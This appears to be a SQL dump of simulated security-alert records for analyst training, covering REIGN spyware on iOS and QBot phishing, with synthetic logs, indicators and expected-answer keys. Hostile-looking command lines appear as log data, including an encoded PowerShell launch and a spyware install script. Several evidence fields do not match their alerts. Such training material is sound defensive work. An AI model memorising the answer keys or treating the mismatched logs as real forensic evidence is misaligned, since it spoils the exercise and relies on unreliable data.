known iCalendar exploit.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1533, 'Execution of REIGN Spyware on iOS', 'high', 'Device Forensics', 'The REIGN spyware was successfully installed and executed on the compromised iOS device. The spyware is designed to monitor and control device activity, posing a significant threat to user privacy and security.', 'Malware Execution', 'T1059: Command and Scripting Interpreter', 1, 'Closed', 283, '{\"timestamp\":\"2023-10-12T14:22:31Z\",\"device_id\":\"iOS-Device-001\",\"user\":\"jdoe\",\"src_ip\":\"192.168.1.15\",\"attacker_ip\":\"203.0.113.45\",\"malware_name\":\"REIGN\",\"malware_hash\":\"8f14e45fceea167a5a36dedd4bea2543\",\"filename\":\"reign_install.pkg\",\"command_executed\":\"/bin/sh -c install_reign.sh\",\"persistence_method\":\"launch_daemon\",\"os_version\":\"iOS 15.4\",\"detection_tool\":\"Forensic Analyzer v4.2\"}', '2026-03-15 19:11:07', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP address associated with multiple APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"8f14e45fceea167a5a36dedd4bea2543\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known REIGN spyware sample.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"reign_install.pkg\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Database\",\"verdict\":\"malicious\",\"details\":\"File identified as part of REIGN spyware installation.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"User account on the compromised device.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.390Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:31Z\\\",\\\"device_id\\\":\\\"iOS-Device-001\\\",\\\"user\\\":\\\"jdoe\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"REIGN\\\",\\\"malware_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"filename\\\":\\\"reign_install.pkg\\\",\\\"command_executed\\\":\\\"/bin/sh -c install_reign.sh\\\",\\\"persistence_method\\\":\\\"launch_daemon\\\",\\\"os_version\\\":\\\"iOS 15.4\\\",\\\"detection_tool\\\":\\\"Forensic Analyzer v4.2\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.390Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:31Z\\\",\\\"device_id\\\":\\\"iOS-Device-001\\\",\\\"user\\\":\\\"jdoe\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"REIGN\\\",\\\"malware_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"filename\\\":\\\"reign_install.pkg\\\",\\\"command_executed\\\":\\\"/bin/sh -c install_reign.sh\\\",\\\"persistence_method\\\":\\\"launch_daemon\\\",\\\"os_version\\\":\\\"iOS 15.4\\\",\\\"detection_tool\\\":\\\"Forensic Analyzer v4.2\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.390Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:31Z\\\",\\\"device_id\\\":\\\"iOS-Device-001\\\",\\\"user\\\":\\\"jdoe\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"REIGN\\\",\\\"malware_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"filename\\\":\\\"reign_install.pkg\\\",\\\"command_executed\\\":\\\"/bin/sh -c install_reign.sh\\\",\\\"persistence_method\\\":\\\"launch_daemon\\\",\\\"os_version\\\":\\\"iOS 15.4\\\",\\\"detection_tool\\\":\\\"Forensic Analyzer v4.2\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.390Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:31Z\\\",\\\"device_id\\\":\\\"iOS-Device-001\\\",\\\"user\\\":\\\"jdoe\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"REIGN\\\",\\\"malware_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"filename\\\":\\\"reign_install.pkg\\\",\\\"command_executed\\\":\\\"/bin/sh -c install_reign.sh\\\",\\\"persistence_method\\\":\\\"launch_daemon\\\",\\\"os_version\\\":\\\"iOS 15.4\\\",\\\"detection_tool\\\":\\\"Forensic Analyzer v4.2\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.390Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:31Z\\\",\\\"device_id\\\":\\\"iOS-Device-001\\\",\\\"user\\\":\\\"jdoe\\\",\\\"src_ip\\\":\\\"192.168.1.15\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"REIGN\\\",\\\"malware_hash\\\":\\\"8f14e45fceea167a5a36dedd4bea2543\\\",\\\"filename\\\":\\\"reign_install.pkg\\\",\\\"command_executed\\\":\\\"/bin/sh -c install_reign.sh\\\",\\\"persistence_method\\\":\\\"launch_daemon\\\",\\\"os_version\\\":\\\"iOS 15.4\\\",\\\"detection_tool\\\":\\\"Forensic Analyzer v4.2\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1534, 'Establishing Persistence on iOS Devices', 'high', 'System Logs', 'REIGN deploys a persistence mechanism on an iOS device by installing a malicious profile named \'com.apple.security\' that ensures continuous access even after reboots or updates. The activity is sourced from a suspicious external IP, indicating a potential compromise.', 'Persistence Mechanism', 'T1547.014', 1, 'Closed', 283, '{\"timestamp\":\"2023-10-04T11:45:23Z\",\"event_type\":\"profile_install\",\"device_id\":\"ios-device-1234\",\"user\":\"jdoe\",\"profile_name\":\"com.apple.security\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.15\",\"file_hash\":\"46b7f3c55b59d4c1a71f3c5e5d4f8f7a\",\"filename\":\"malicious_profile.mobileconfig\",\"action\":\"install\",\"status\":\"successful\"}', '2026-03-15 19:11:07', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server involved in targeted attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"46b7f3c55b59d4c1a71f3c5e5d4f8f7a\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Identified as part of REIGN\'s persistent attack toolkit.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious_profile.mobileconfig\",\"is_critical\":false,\"osint_result\":{\"source\":\"Local System Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual profile name for device management.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Standard user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.405Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-04T11:45:23Z\\\",\\\"event_type\\\":\\\"profile_install\\\",\\\"device_id\\\":\\\"ios-device-1234\\\",\\\"user\\\":\\\"jdoe\\\",\\\"profile_name\\\":\\\"com.apple.security\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"file_hash\\\":\\\"46b7f3c55b59d4c1a71f3c5e5d4f8f7a\\\",\\\"filename\\\":\\\"malicious_profile.mobileconfig\\\",\\\"action\\\":\\\"install\\\",\\\"status\\\":\\\"successful\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.405Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-04T11:45:23Z\\\",\\\"event_type\\\":\\\"profile_install\\\",\\\"device_id\\\":\\\"ios-device-1234\\\",\\\"user\\\":\\\"jdoe\\\",\\\"profile_name\\\":\\\"com.apple.security\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"file_hash\\\":\\\"46b7f3c55b59d4c1a71f3c5e5d4f8f7a\\\",\\\"filename\\\":\\\"malicious_profile.mobileconfig\\\",\\\"action\\\":\\\"install\\\",\\\"status\\\":\\\"successful\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.405Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-04T11:45:23Z\\\",\\\"event_type\\\":\\\"profile_install\\\",\\\"device_id\\\":\\\"ios-device-1234\\\",\\\"user\\\":\\\"jdoe\\\",\\\"profile_name\\\":\\\"com.apple.security\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"file_hash\\\":\\\"46b7f3c55b59d4c1a71f3c5e5d4f8f7a\\\",\\\"filename\\\":\\\"malicious_profile.mobileconfig\\\",\\\"action\\\":\\\"install\\\",\\\"status\\\":\\\"successful\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.405Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-04T11:45:23Z\\\",\\\"event_type\\\":\\\"profile_install\\\",\\\"device_id\\\":\\\"ios-device-1234\\\",\\\"user\\\":\\\"jdoe\\\",\\\"profile_name\\\":\\\"com.apple.security\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"file_hash\\\":\\\"46b7f3c55b59d4c1a71f3c5e5d4f8f7a\\\",\\\"filename\\\":\\\"malicious_profile.mobileconfig\\\",\\\"action\\\":\\\"install\\\",\\\"status\\\":\\\"successful\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.405Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-04T11:45:23Z\\\",\\\"event_type\\\":\\\"profile_install\\\",\\\"device_id\\\":\\\"ios-device-1234\\\",\\\"user\\\":\\\"jdoe\\\",\\\"profile_name\\\":\\\"com.apple.security\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"file_hash\\\":\\\"46b7f3c55b59d4c1a71f3c5e5d4f8f7a\\\",\\\"filename\\\":\\\"malicious_profile.mobileconfig\\\",\\\"action\\\":\\\"install\\\",\\\"status\\\":\\\"successful\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1535, 'Lateral Movement to Connected iCloud Services', 'high', 'Cloud Access Logs', 'The spyware leverages obtained credentials to move laterally, accessing other iCloud services linked to the target, expanding the attack scope. The attacker utilized compromised credentials to log into multiple iCloud accounts, indicating a progression in the attack chain aimed at exfiltrating sensitive data.', 'Credential Access', 'T1078 - Valid Accounts', 1, 'Closed', 283, '{\"timestamp\":\"2023-10-12T14:45:00Z\",\"event\":\"login\",\"source_ip\":\"203.0.113.45\",\"destination_service\":\"iCloud\",\"user\":\"compromisedUser@icloud.com\",\"action\":\"successful login\",\"associated_ip\":\"192.168.1.15\",\"malware_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"malicious_payload.exe\",\"correlation_id\":\"abcd1234efgh5678\"}', '2026-03-15 19:11:07', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activities.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromisedUser@icloud.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"suspicious\",\"details\":\"Username used in unauthorized access attempts.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash belongs to malware used in lateral movement activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.408Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:00Z\\\",\\\"event\\\":\\\"login\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_service\\\":\\\"iCloud\\\",\\\"user\\\":\\\"compromisedUser@icloud.com\\\",\\\"action\\\":\\\"successful login\\\",\\\"associated_ip\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"correlation_id\\\":\\\"abcd1234efgh5678\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.408Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:00Z\\\",\\\"event\\\":\\\"login\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_service\\\":\\\"iCloud\\\",\\\"user\\\":\\\"compromisedUser@icloud.com\\\",\\\"action\\\":\\\"successful login\\\",\\\"associated_ip\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"correlation_id\\\":\\\"abcd1234efgh5678\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.408Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:00Z\\\",\\\"event\\\":\\\"login\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_service\\\":\\\"iCloud\\\",\\\"user\\\":\\\"compromisedUser@icloud.com\\\",\\\"action\\\":\\\"successful login\\\",\\\"associated_ip\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"correlation_id\\\":\\\"abcd1234efgh5678\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.408Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:00Z\\\",\\\"event\\\":\\\"login\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_service\\\":\\\"iCloud\\\",\\\"user\\\":\\\"compromisedUser@icloud.com\\\",\\\"action\\\":\\\"successful login\\\",\\\"associated_ip\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"correlation_id\\\":\\\"abcd1234efgh5678\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.408Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:00Z\\\",\\\"event\\\":\\\"login\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_service\\\":\\\"iCloud\\\",\\\"user\\\":\\\"compromisedUser@icloud.com\\\",\\\"action\\\":\\\"successful login\\\",\\\"associated_ip\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"malicious_payload.exe\\\",\\\"correlation_id\\\":\\\"abcd1234efgh5678\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1536, 'Exfiltration of Sensitive Data to External Servers', 'high', 'Outbound Network Traffic', 'Sensitive information gathered by REIGN is silently exfiltrated to external servers, providing valuable intelligence to Quadream\'s government clients.', 'Data Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'Closed', 283, '{\"timestamp\":\"2023-10-15T14:23:15Z\",\"source_ip\":\"10.0.3.15\",\"destination_ip\":\"203.0.113.45\",\"source_port\":54321,\"destination_port\":443,\"protocol\":\"HTTPS\",\"file_name\":\"classified_data.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"jdoe\",\"action\":\"exfiltration_attempt\",\"status\":\"success\"}', '2026-03-15 19:11:07', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.3.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known Quadream-controlled server\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"suspicious\",\"details\":\"Associated with data exfiltration activities\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"classified_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file involved in exfiltration\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1537, 'Suspicious Email Detected with Malicious Attachment', 'high', 'Corporate Email Gateway Logs', 'An email was detected with a potentially malicious attachment that is suspected to be the initial vector for QBot deployment, commonly associated with Black Basta.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T09:23:45Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.15\",\"source_user\":\"jdoe@example.com\",\"destination_user\":\"support@target.com\",\"subject\":\"Important Update - Action Required\",\"attachment\":{\"filename\":\"Invoice_2023_10_12.xlsm\",\"file_hash\":\"d4c3b2a9745f2a89e7b5a1c3e4f9d4c7\",\"size\":124578},\"malware_family\":\"QBot\",\"threat_intel\":{\"related_ips\":[\"203.0.113.15\"],\"related_hashes\":[\"d4c3b2a9745f2a89e7b5a1c3e4f9d4c7\"],\"verdict\":\"malicious\"}}', '2026-03-15 19:11:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server for QBot.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d4c3b2a9745f2a89e7b5a1c3e4f9d4c7\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with QBot malware.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"jdoe@example.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Corporate Directory\",\"verdict\":\"internal\",\"details\":\"Internal user identified as potential victim.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Detected with Malicious Attachment\",\"date\":\"2026-03-15T20:58:15.416Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1538, 'QBot Malware Execution Identified', 'high', 'Endpoint Detection and Response (EDR) System', 'A QBot payload was executed on the victim\'s machine following a phishing email, establishing a foothold for further infiltration.', 'Malware Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_type\":\"process_creation\",\"hostname\":\"victim-pc.local\",\"user\":\"j.doe\",\"process_name\":\"C:\\\\Users\\\\j.doe\\\\AppData\\\\Local\\\\Temp\\\\qbot.exe\",\"process_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"source_ip\":\"10.0.0.23\",\"destination_ip\":\"89.123.45.67\",\"command_line\":\"\\\"C:\\\\Users\\\\j.doe\\\\AppData\\\\Local\\\\Temp\\\\qbot.exe\\\" --silent\",\"parent_process\":\"explorer.exe\",\"parent_process_id\":1234,\"file_path\":\"C:\\\\Users\\\\j.doe\\\\AppData\\\\Local\\\\Temp\\\\qbot.exe\",\"network_activity\":{\"outbound_connections\":[{\"remote_ip\":\"89.123.45.67\",\"remote_port\":443}]}}', '2026-03-15 19:11:40', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known QBot malware hash\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"89.123.45.67\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelligence\",\"verdict\":\"malicious\",\"details\":\"IP associated with QBot C2 servers\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"C:\\\\Users\\\\j.doe\\\\AppData\\\\Local\\\\Temp\\\\qbot.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"InternalAnalysis\",\"verdict\":\"suspicious\",\"details\":\"Filename pattern matches known QBot deployment\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalUserDatabase\",\"verdict\":\"internal\",\"details\":\"Employee user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
